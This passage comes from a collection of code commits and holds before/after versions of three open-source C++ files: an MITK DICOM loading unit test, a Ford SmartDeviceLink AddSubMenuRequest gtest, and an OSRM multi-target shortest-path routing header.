\/\/ clear image properties\n \/\/ what about DEFAULT properties? currently ONLY nodes get default properties\n\n \/\/ load for a second time, this time provide the image volume as a pointer\n \/\/ expectation is that the reader will provide the same properties to this image (without actually loading a new mitk::Image)\n mitk::TestDICOMLoading::ImageList reloadedImages = loader.LoadFiles(files, firstImage);\n MITK_TEST_OUTPUT(<< \"Again loaded \" << reloadedImages.size() << \" images. Comparing to previously loaded version.\")\n mitk::Image::Pointer reloadedImage = reloadedImages.front();\n\n mitk::PropertyList::Pointer regeneratedProperties = reloadedImage->GetPropertyList(); \/\/ get the version of the second load attempt\n\n bool listsAreEqual = VerifyPropertyListsEquality(regeneratedProperties, originalProperties);\n MITK_TEST_CONDITION(listsAreEqual, \"LoadDicomSeries generates a valid property list when provided a pre-loaded image\");\n\n MITK_TEST_END()\n}\n\n<commit_msg>COMP: use \"&&\" instead of \"and\"<commit_after>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n\n#include \"mitkTestDICOMLoading.h\"\n#include \"mitkTestingMacros.h\"\n\nbool CheckAllPropertiesAreInOtherList(const mitk::PropertyList* list, const mitk::PropertyList* otherList)\n{\n MITK_TEST_CONDITION_REQUIRED(list && otherList, \"Comparison is passed two non-empty property lists\")\n\n const mitk::PropertyList::PropertyMap* listM = list->GetMap();\n const mitk::PropertyList::PropertyMap* otherListM = otherList->GetMap();\n\n bool equal = true;\n for ( mitk::PropertyList::PropertyMap::const_iterator iter = listM->begin();\n iter != listM->end();\n ++iter )\n {\n std::string key = iter->first;\n mitk::BaseProperty* property = iter->second;\n\n mitk::PropertyList::PropertyMap::const_iterator otherEntry = otherListM->find( key );\n MITK_TEST_CONDITION( otherEntry != otherListM->end(), \" Property '\" << key << \"' is contained in other list\" )\n\n mitk::BaseProperty* otherProperty = otherEntry->second;\n MITK_TEST_CONDITION( equal &= (*property == *otherProperty), \" Property '\" << key << \"' is equal in both list\" )\n }\n\n return equal;\n}\n\nbool VerifyPropertyListsEquality(const mitk::PropertyList* testList, const mitk::PropertyList* referenceList)\n{\n bool allTestPropsInReference = CheckAllPropertiesAreInOtherList(testList, referenceList);\n MITK_TEST_CONDITION(allTestPropsInReference, \"All test properties found in reference properties\")\n bool allReferencePropsInTest = CheckAllPropertiesAreInOtherList(referenceList, testList);\n MITK_TEST_CONDITION(allReferencePropsInTest, \"All reference properties found in test properties\")\n return allTestPropsInReference && allReferencePropsInTest;\n}\n\nint mitkDICOMPreloadedVolumeTest(int argc, char** const argv)\n{\n MITK_TEST_BEGIN(\"DICOMPreloadedVolume\")\n\n mitk::TestDICOMLoading loader;\n mitk::TestDICOMLoading::StringContainer files;\n\n \/\/ adapt expectations depending on configuration\n std::string configuration = mitk::DicomSeriesReader::GetConfigurationString();\n MITK_TEST_OUTPUT(<< \"Configuration: \" << configuration)\n\n \/\/ load files from commandline\n for (int arg = 1; arg < argc; ++arg)\n {\n MITK_TEST_OUTPUT(<< \"Test file \" << argv[arg])\n files.push_back( argv[arg] );\n }\n\n\n \/\/ verify all files are DICOM\n for (mitk::TestDICOMLoading::StringContainer::const_iterator fileIter = files.begin();\n fileIter != files.end();\n ++fileIter)\n {\n MITK_TEST_CONDITION_REQUIRED( mitk::DicomSeriesReader::IsDicom(*fileIter) , *fileIter << \" is recognized as loadable DICOM object\" )\n\n }\n\n \/\/ load for a first time\n mitk::TestDICOMLoading::ImageList images = loader.LoadFiles(files);\n MITK_TEST_OUTPUT(<< \"Loaded \" << images.size() << \" images. Remembering properties of the first one for later comparison.\")\n mitk::Image::Pointer firstImage = images.front();\n\n mitk::PropertyList::Pointer originalProperties = firstImage->GetPropertyList(); \/\/ save the original\n firstImage->SetPropertyList( mitk::PropertyList::New() ); \/\/ clear image properties\n \/\/ what about DEFAULT properties? currently ONLY nodes get default properties\n\n \/\/ load for a second time, this time provide the image volume as a pointer\n \/\/ expectation is that the reader will provide the same properties to this image (without actually loading a new mitk::Image)\n mitk::TestDICOMLoading::ImageList reloadedImages = loader.LoadFiles(files, firstImage);\n MITK_TEST_OUTPUT(<< \"Again loaded \" << reloadedImages.size() << \" images. Comparing to previously loaded version.\")\n mitk::Image::Pointer reloadedImage = reloadedImages.front();\n\n mitk::PropertyList::Pointer regeneratedProperties = reloadedImage->GetPropertyList(); \/\/ get the version of the second load attempt\n\n bool listsAreEqual = VerifyPropertyListsEquality(regeneratedProperties, originalProperties);\n MITK_TEST_CONDITION(listsAreEqual, \"LoadDicomSeries generates a valid property list when provided a pre-loaded image\");\n\n MITK_TEST_END()\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2016, Ford Motor Company\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n *\n * Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following\n * disclaimer in the documentation and\/or other materials provided with the\n * distribution.\n *\n * Neither the name of the Ford Motor Company nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <stdint.h>\n#include <string>\n\n#include \"application_manager\/commands\/mobile\/add_sub_menu_request.h\"\n\n#include \"gtest\/gtest.h\"\n#include \"application_manager\/commands\/commands_test.h\"\n#include \"application_manager\/commands\/command_request_test.h\"\n#include \"application_manager\/mock_application_manager.h\"\n#include \"application_manager\/mock_application.h\"\n#include \"application_manager\/mock_message_helper.h\"\n#include \"application_manager\/event_engine\/event.h\"\n#include \"application_manager\/mock_hmi_interface.h\"\n\nnamespace test {\nnamespace components {\nnamespace commands_test {\nnamespace mobile_commands_test {\nnamespace add_sub_menu_request {\n\nnamespace am = ::application_manager;\nusing am::commands::AddSubMenuRequest;\nusing am::commands::MessageSharedPtr;\nusing am::event_engine::Event;\nusing ::testing::_;\nusing ::testing::Return;\n\ntypedef SharedPtr<AddSubMenuRequest> AddSubMenuPtr;\n\nnamespace {\nconst uint32_t kConnectionKey = 2u;\n} \/\/ namespace\n\nclass AddSubMenuRequestTest\n : public CommandRequestTest<CommandsTestMocks::kIsNice> {};\n\nTEST_F(AddSubMenuRequestTest, OnEvent_UI_UNSUPPORTED_RESOURCE) {\n const uint32_t menu_id = 10u;\n MessageSharedPtr msg = CreateMessage(smart_objects::SmartType_Map);\n (*msg)[am::strings::params][am::strings::connection_key] = kConnectionKey;\n (*msg)[am::strings::msg_params][am::strings::menu_id] = menu_id;\n\n utils::SharedPtr<AddSubMenuRequest> command =\n CreateCommand<AddSubMenuRequest>(msg);\n\n MockAppPtr mock_app = CreateMockApp();\n ON_CALL(app_mngr_, application(kConnectionKey))\n .WillByDefault(Return(mock_app));\n ON_CALL(*mock_app, app_id()).WillByDefault(Return(kConnectionKey));\n EXPECT_CALL(*mock_app, AddSubMenu(menu_id, _));\n EXPECT_CALL(*mock_app, UpdateHash());\n\n MessageSharedPtr ev_msg = CreateMessage(smart_objects::SmartType_Map);\n (*ev_msg)[am::strings::params][am::hmi_response::code] =\n hmi_apis::Common_Result::UNSUPPORTED_RESOURCE;\n (*ev_msg)[am::strings::msg_params][am::strings::info] = \"info\";\n\n Event event(hmi_apis::FunctionID::UI_AddSubMenu);\n event.set_smart_object(*ev_msg);\n\n MessageSharedPtr ui_command_result;\n EXPECT_CALL(\n app_mngr_,\n ManageMobileCommand(_, am::commands::Command::CommandOrigin::ORIGIN_SDL))\n .WillOnce(DoAll(SaveArg<0>(&ui_command_result), Return(true)));\n command->Init();\n command->on_event(event);\n\n EXPECT_EQ((*ui_command_result)[am::strings::msg_params][am::strings::success]\n .asBool(),\n true);\n EXPECT_EQ(\n (*ui_command_result)[am::strings::msg_params][am::strings::result_code]\n .asInt(),\n static_cast<int32_t>(hmi_apis::Common_Result::UNSUPPORTED_RESOURCE));\n if ((*ui_command_result)[am::strings::msg_params].keyExists(\n am::strings::info)) {\n EXPECT_FALSE(\n (*ui_command_result)[am::strings::msg_params][am::strings::info]\n .asString()\n .empty());\n }\n}\n\n} \/\/ namespace add_sub_menu_request\n} \/\/ namespace mobile_commands_test\n} \/\/ namespace commands_test\n} \/\/ namespace components\n} \/\/ namespace test\n<commit_msg>updates for unit test<commit_after>\/*\n * Copyright (c) 2016, Ford Motor Company\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n *\n * Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following\n * disclaimer in the documentation and\/or other materials provided with the\n * distribution.\n *\n * Neither the name of the Ford Motor Company nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <stdint.h>\n#include <string>\n\n#include \"application_manager\/commands\/mobile\/add_sub_menu_request.h\"\n\n#include \"gtest\/gtest.h\"\n#include \"application_manager\/commands\/commands_test.h\"\n#include \"application_manager\/commands\/command_request_test.h\"\n#include \"application_manager\/mock_application_manager.h\"\n#include \"application_manager\/mock_application.h\"\n#include \"application_manager\/mock_message_helper.h\"\n#include \"application_manager\/event_engine\/event.h\"\n#include \"application_manager\/mock_hmi_interface.h\"\n\nnamespace test {\nnamespace components {\nnamespace commands_test {\nnamespace mobile_commands_test {\nnamespace add_sub_menu_request {\n\nnamespace am = ::application_manager;\nusing am::commands::AddSubMenuRequest;\nusing am::commands::MessageSharedPtr;\nusing am::event_engine::Event;\nusing ::testing::_;\nusing ::testing::Return;\n\ntypedef SharedPtr<AddSubMenuRequest> AddSubMenuPtr;\n\nnamespace {\nconst uint32_t kConnectionKey = 2u;\nconst uint32_t kAppId = 1u;\n} \/\/ namespace\n\nclass AddSubMenuRequestTest\n : public CommandRequestTest<CommandsTestMocks::kIsNice> {\n public:\n AddSubMenuRequestTest()\n : mock_app(CreateMockApp()) {\n EXPECT_CALL(app_mngr_, application(kConnectionKey))\n .WillRepeatedly(Return(mock_app));\n }\n\n MockAppPtr mock_app;\n\n MessageSharedPtr CreateMsgParams() {\n MessageSharedPtr msg = CreateMessage();\n (*msg)[am::strings::params][am::strings::connection_key] = kConnectionKey;\n (*msg)[am::strings::msg_params][am::strings::app_id] = kAppId;\n return msg;\n }\n};\n\n\nTEST_F(AddSubMenuRequestTest, Run_ImageVerificationFailed_EXPECT_INVALID_DATA) {\n const uint32_t menu_id = 10u;\n MessageSharedPtr msg = CreateMsgParams();\n SmartObject& msg_params = (*msg)[am::strings::msg_params];\n\n msg_params[am::strings::menu_icon] = 1;\n msg_params[am::strings::menu_icon][am::strings::value] = \"10\";\n msg_params[am::strings::menu_id] = menu_id;\n msg_params[am::strings::menu_name] = \"test\";\n SmartObject& image = msg_params[am::strings::menu_icon];\n\n EXPECT_CALL(mock_message_helper_, VerifyImage(image, _, _))\n .WillOnce(Return(mobile_apis::Result::INVALID_DATA));\n EXPECT_CALL(app_mngr_,\n ManageMobileCommand(MobileResultCodeIs(mobile_apis::Result::INVALID_DATA), _));\n utils::SharedPtr<AddSubMenuRequest> request_ptr =\n CreateCommand<AddSubMenuRequest>(msg);\n\n request_ptr->Run();\n}\n\n\nTEST_F(AddSubMenuRequestTest, OnEvent_UI_UNSUPPORTED_RESOURCE) {\n const uint32_t menu_id = 10u;\n MessageSharedPtr msg = CreateMessage(smart_objects::SmartType_Map);\n (*msg)[am::strings::params][am::strings::connection_key] = kConnectionKey;\n (*msg)[am::strings::msg_params][am::strings::menu_id] = menu_id;\n\n utils::SharedPtr<AddSubMenuRequest> command =\n CreateCommand<AddSubMenuRequest>(msg);\n\n ON_CALL(app_mngr_, application(kConnectionKey))\n .WillByDefault(Return(mock_app));\n ON_CALL(*mock_app, app_id()).WillByDefault(Return(kConnectionKey));\n EXPECT_CALL(*mock_app, AddSubMenu(menu_id, _));\n EXPECT_CALL(*mock_app, UpdateHash());\n\n MessageSharedPtr ev_msg = CreateMessage(smart_objects::SmartType_Map);\n (*ev_msg)[am::strings::params][am::hmi_response::code] =\n hmi_apis::Common_Result::UNSUPPORTED_RESOURCE;\n (*ev_msg)[am::strings::msg_params][am::strings::info] = \"info\";\n\n Event event(hmi_apis::FunctionID::UI_AddSubMenu);\n event.set_smart_object(*ev_msg);\n\n MessageSharedPtr ui_command_result;\n EXPECT_CALL(\n app_mngr_,\n ManageMobileCommand(_, am::commands::Command::CommandOrigin::ORIGIN_SDL))\n .WillOnce(DoAll(SaveArg<0>(&ui_command_result), Return(true)));\n command->Init();\n command->on_event(event);\n\n EXPECT_EQ((*ui_command_result)[am::strings::msg_params][am::strings::success]\n .asBool(),\n true);\n EXPECT_EQ(\n (*ui_command_result)[am::strings::msg_params][am::strings::result_code]\n .asInt(),\n static_cast<int32_t>(hmi_apis::Common_Result::UNSUPPORTED_RESOURCE));\n if ((*ui_command_result)[am::strings::msg_params].keyExists(\n am::strings::info)) {\n EXPECT_FALSE(\n (*ui_command_result)[am::strings::msg_params][am::strings::info]\n .asString()\n .empty());\n }\n}\n\n} \/\/ namespace add_sub_menu_request\n} \/\/ namespace mobile_commands_test\n} \/\/ namespace commands_test\n} \/\/ namespace components\n} \/\/ namespace test\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2014, Project OSRM, Felix Guendling\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\nRedistributions of source code must retain the above copyright notice, this list\nof conditions and the following disclaimer.\nRedistributions in binary form must reproduce the above copyright notice, this\nlist of conditions and the following disclaimer in the documentation and\/or\nother materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\nANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef MULTI_TARGET_ROUTING_H\n#define MULTI_TARGET_ROUTING_H\n\n#include \"routing_base.hpp\"\n#include \"..\/data_structures\/search_engine_data.hpp\"\n#include \"..\/typedefs.h\"\n\n#include <boost\/assert.hpp>\n\n#include <memory>\n#include <vector>\n\ntemplate <class DataFacadeT, bool forward>\nclass MultiTargetRouting final : public BasicRoutingInterface<DataFacadeT, MultiTargetRouting<DataFacadeT, forward>>\n{\n typedef BasicRoutingInterface<DataFacadeT, MultiTargetRouting<DataFacadeT, forward>> super;\n typedef SearchEngineData::QueryHeap QueryHeap;\n SearchEngineData &engine_working_data;\n\n public:\n MultiTargetRouting(DataFacadeT *facade, SearchEngineData &engine_working_data)\n : super(facade), engine_working_data(engine_working_data)\n {\n }\n\n ~MultiTargetRouting() {}\n\n std::shared_ptr<std::vector<std::pair<EdgeWeight, double>>>\n operator()(const PhantomNodeArray &phantom_nodes_array) const\n {\n BOOST_ASSERT(phantom_nodes_array.size() >= 2);\n\n \/\/ Prepare results table:\n \/\/ Each target (phantom_nodes_array[1], ..., phantom_nodes_array[n]) has its own index.\n auto results = std::make_shared<std::vector<std::pair<EdgeWeight, double>>>();\n results->reserve(phantom_nodes_array.size() - 1);\n\n \/\/ For readability: some reference variables making it clear,\n \/\/ which one is the source and which are the targets.\n const auto &source = phantom_nodes_array[0];\n std::vector<std::reference_wrapper<const std::vector<PhantomNode>>> targets(\n std::next(begin(phantom_nodes_array)), end(phantom_nodes_array));\n\n engine_working_data.InitializeOrClearFirstThreadLocalStorage(\n super::facade->GetNumberOfNodes());\n\n \/\/ The forward heap keeps the distances from the source.\n \/\/ Therefore it will be reused for each target backward search.\n QueryHeap &forward_heap = *(engine_working_data.forward_heap_1);\n\n \/\/ The reverse heap will be cleared after each search from\n \/\/ one of the targets to the source.\n QueryHeap &reverse_heap = *(engine_working_data.reverse_heap_1);\n\n \/\/ Fill forward heap with the source location phantom node(s).\n \/\/ The source location is located at index 0.\n \/\/ The target locations are located at index [1, ..., n].\n EdgeWeight min_edge_offset = 0;\n for (const PhantomNode &phantom_node : source)\n {\n if (SPECIAL_NODEID != phantom_node.forward_node_id)\n {\n EdgeWeight offset = (forward ? -1 : 1) * phantom_node.GetForwardWeightPlusOffset();\n forward_heap.Insert(phantom_node.forward_node_id, offset,\n phantom_node.forward_node_id);\n min_edge_offset = std::min(min_edge_offset, offset);\n }\n if (SPECIAL_NODEID != phantom_node.reverse_node_id)\n {\n EdgeWeight offset = (forward ? -1 : 1) * phantom_node.GetReverseWeightPlusOffset();\n forward_heap.Insert(phantom_node.reverse_node_id,\n (forward ? -1 : 1) * phantom_node.GetReverseWeightPlusOffset(),\n phantom_node.reverse_node_id);\n min_edge_offset = std::min(min_edge_offset, offset);\n }\n }\n\n for (auto const &target : targets)\n {\n const std::vector<PhantomNode> &phantom_node_vector = target;\n auto result = FindShortestPath(source, phantom_node_vector, forward_heap, reverse_heap,\n min_edge_offset);\n results->emplace_back(std::move(result));\n }\n\n forward_heap.Clear();\n reverse_heap.Clear();\n\n return results;\n }\n\n std::pair<EdgeWeight, double> FindShortestPath(const std::vector<PhantomNode> &source,\n const std::vector<PhantomNode> &target,\n QueryHeap &forward_heap,\n QueryHeap &backward_heap,\n EdgeWeight min_edge_offset) const\n {\n NodeID middle = UINT_MAX;\n int local_upper_bound = INT_MAX;\n\n \/\/ Clear backward heap from the entries produced by the search to the last target\n \/\/ and initialize heap for this target.\n backward_heap.Clear();\n for (const PhantomNode &phantom_node : target)\n {\n if (SPECIAL_NODEID != phantom_node.forward_node_id)\n {\n EdgeWeight offset = (forward ? 1 : -1) * phantom_node.GetForwardWeightPlusOffset();\n backward_heap.Insert(phantom_node.forward_node_id, offset,\n phantom_node.forward_node_id);\n min_edge_offset = std::min(min_edge_offset, offset);\n }\n\n if (SPECIAL_NODEID != phantom_node.reverse_node_id)\n {\n EdgeWeight offset = (forward ? 1 : -1) * phantom_node.GetReverseWeightPlusOffset();\n backward_heap.Insert(phantom_node.reverse_node_id, offset,\n phantom_node.reverse_node_id);\n min_edge_offset = std::min(min_edge_offset, offset);\n }\n }\n\n \/\/ Execute bidirectional Dijkstra shortest path search.\n while (0 < backward_heap.Size() || 0 < forward_heap.Size())\n {\n if (0 < forward_heap.Size())\n {\n super::RoutingStep(forward_heap, backward_heap, &middle, &local_upper_bound,\n min_edge_offset, forward, false);\n }\n if (0 < backward_heap.Size())\n {\n super::RoutingStep(backward_heap, forward_heap, &middle, &local_upper_bound,\n min_edge_offset, !forward);\n }\n }\n\n \/\/ Check if no path could be found (-> early exit).\n if (INVALID_EDGE_WEIGHT == local_upper_bound)\n {\n return std::make_pair(INVALID_EDGE_WEIGHT, 0);\n }\n\n \/\/ Calculate exact distance in km.\n std::vector<NodeID> packed_path;\n super::RetrievePackedPathFromHeap(forward_heap, backward_heap, middle, packed_path);\n\n if (!forward)\n {\n std::reverse(begin(packed_path), end(packed_path));\n }\n\n auto source_phantom_it =\n std::find_if(begin(source), end(source), [&packed_path](PhantomNode const &node)\n {\n return node.forward_node_id == packed_path[forward ? 0 : packed_path.size() - 1] ||\n node.reverse_node_id == packed_path[forward ? 0 : packed_path.size() - 1];\n });\n auto target_phantom_it =\n std::find_if(begin(target), end(target), [&packed_path](PhantomNode const &node)\n {\n return node.forward_node_id == packed_path[forward ? packed_path.size() - 1 : 0] ||\n node.reverse_node_id == packed_path[forward ? packed_path.size() - 1 : 0];\n });\n\n BOOST_ASSERT(source_phantom_it != end(source));\n BOOST_ASSERT(target_phantom_it != end(target));\n\n std::vector<PathData> unpacked_path;\n if (forward)\n {\n super::UnpackPath(packed_path, {*source_phantom_it, *target_phantom_it}, unpacked_path);\n }\n else\n {\n super::UnpackPath(packed_path, {*target_phantom_it, *source_phantom_it}, unpacked_path);\n }\n\n std::vector<FixedPointCoordinate> coordinates;\n coordinates.reserve(unpacked_path.size() + 2);\n\n coordinates.emplace_back(forward ? source_phantom_it->location\n : target_phantom_it->location);\n for (const auto &path_data : unpacked_path)\n {\n coordinates.emplace_back(super::facade->GetCoordinateOfNode(path_data.node));\n }\n coordinates.emplace_back(forward ? target_phantom_it->location\n : source_phantom_it->location);\n\n double distance = 0.0;\n for (int i = 1; i < coordinates.size(); ++i)\n {\n distance += coordinate_calculation::euclidean_distance(coordinates[i - 1],\n coordinates[i]);\n }\n\n return std::make_pair(round(local_upper_bound \/ 10.), distance);\n }\n};\n\n#endif\n<commit_msg>fix compiler warning<commit_after>\/*\n\nCopyright (c) 2014, Project OSRM, Felix Guendling\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\nRedistributions of source code must retain the above copyright notice, this list\nof conditions and the following disclaimer.\nRedistributions in binary form must reproduce the above copyright notice, this\nlist of conditions and the following disclaimer in the documentation and\/or\nother materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\nANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef MULTI_TARGET_ROUTING_H\n#define MULTI_TARGET_ROUTING_H\n\n#include \"routing_base.hpp\"\n#include \"..\/data_structures\/search_engine_data.hpp\"\n#include \"..\/typedefs.h\"\n\n#include <boost\/assert.hpp>\n\n#include <memory>\n#include <vector>\n\ntemplate <class DataFacadeT, bool forward>\nclass MultiTargetRouting final : public BasicRoutingInterface<DataFacadeT, MultiTargetRouting<DataFacadeT, forward>>\n{\n typedef BasicRoutingInterface<DataFacadeT, MultiTargetRouting<DataFacadeT, forward>> super;\n typedef SearchEngineData::QueryHeap QueryHeap;\n SearchEngineData &engine_working_data;\n\n public:\n MultiTargetRouting(DataFacadeT *facade, SearchEngineData &engine_working_data)\n : super(facade), engine_working_data(engine_working_data)\n {\n }\n\n ~MultiTargetRouting() {}\n\n std::shared_ptr<std::vector<std::pair<EdgeWeight, double>>>\n operator()(const PhantomNodeArray &phantom_nodes_array) const\n {\n BOOST_ASSERT(phantom_nodes_array.size() >= 2);\n\n \/\/ Prepare results table:\n \/\/ Each target (phantom_nodes_array[1], ..., phantom_nodes_array[n]) has its own index.\n auto results = std::make_shared<std::vector<std::pair<EdgeWeight, double>>>();\n results->reserve(phantom_nodes_array.size() - 1);\n\n \/\/ For readability: some reference variables making it clear,\n \/\/ which one is the source and which are the targets.\n const auto &source = phantom_nodes_array[0];\n std::vector<std::reference_wrapper<const std::vector<PhantomNode>>> targets(\n std::next(begin(phantom_nodes_array)), end(phantom_nodes_array));\n\n engine_working_data.InitializeOrClearFirstThreadLocalStorage(\n super::facade->GetNumberOfNodes());\n\n \/\/ The forward heap keeps the distances from the source.\n \/\/ Therefore it will be reused for each target backward search.\n QueryHeap &forward_heap = *(engine_working_data.forward_heap_1);\n\n \/\/ The reverse heap will be cleared after each search from\n \/\/ one of the targets to the source.\n QueryHeap &reverse_heap = *(engine_working_data.reverse_heap_1);\n\n \/\/ Fill forward heap with the source location phantom node(s).\n \/\/ The source location is located at index 0.\n \/\/ The target locations are located at index [1, ..., n].\n EdgeWeight min_edge_offset = 0;\n for (const PhantomNode &phantom_node : source)\n {\n if (SPECIAL_NODEID != phantom_node.forward_node_id)\n {\n EdgeWeight offset = (forward ? -1 : 1) * phantom_node.GetForwardWeightPlusOffset();\n forward_heap.Insert(phantom_node.forward_node_id, offset,\n phantom_node.forward_node_id);\n min_edge_offset = std::min(min_edge_offset, offset);\n }\n if (SPECIAL_NODEID != phantom_node.reverse_node_id)\n {\n EdgeWeight offset = (forward ? -1 : 1) * phantom_node.GetReverseWeightPlusOffset();\n forward_heap.Insert(phantom_node.reverse_node_id,\n (forward ? -1 : 1) * phantom_node.GetReverseWeightPlusOffset(),\n phantom_node.reverse_node_id);\n min_edge_offset = std::min(min_edge_offset, offset);\n }\n }\n\n for (auto const &target : targets)\n {\n const std::vector<PhantomNode> &phantom_node_vector = target;\n auto result = FindShortestPath(source, phantom_node_vector, forward_heap, reverse_heap,\n min_edge_offset);\n results->emplace_back(std::move(result));\n }\n\n forward_heap.Clear();\n reverse_heap.Clear();\n\n return results;\n }\n\n std::pair<EdgeWeight, double> FindShortestPath(const std::vector<PhantomNode> &source,\n const std::vector<PhantomNode> &target,\n QueryHeap &forward_heap,\n QueryHeap &backward_heap,\n EdgeWeight min_edge_offset) const\n {\n NodeID middle = UINT_MAX;\n int local_upper_bound = INT_MAX;\n\n \/\/ Clear backward heap from the entries produced by the search to the last target\n \/\/ and initialize heap for this target.\n backward_heap.Clear();\n for (const PhantomNode &phantom_node : target)\n {\n if (SPECIAL_NODEID != phantom_node.forward_node_id)\n {\n EdgeWeight offset = (forward ? 1 : -1) * phantom_node.GetForwardWeightPlusOffset();\n backward_heap.Insert(phantom_node.forward_node_id, offset,\n phantom_node.forward_node_id);\n min_edge_offset = std::min(min_edge_offset, offset);\n }\n\n if (SPECIAL_NODEID != phantom_node.reverse_node_id)\n {\n EdgeWeight offset = (forward ? 1 : -1) * phantom_node.GetReverseWeightPlusOffset();\n backward_heap.Insert(phantom_node.reverse_node_id, offset,\n phantom_node.reverse_node_id);\n min_edge_offset = std::min(min_edge_offset, offset);\n }\n }\n\n \/\/ Execute bidirectional Dijkstra shortest path search.\n while (0 < backward_heap.Size() || 0 < forward_heap.Size())\n {\n if (0 < forward_heap.Size())\n {\n super::RoutingStep(forward_heap, backward_heap, &middle, &local_upper_bound,\n min_edge_offset, forward, false);\n }\n if (0 < backward_heap.Size())\n {\n super::RoutingStep(backward_heap, forward_heap, &middle, &local_upper_bound,\n min_edge_offset, !forward);\n }\n }\n\n 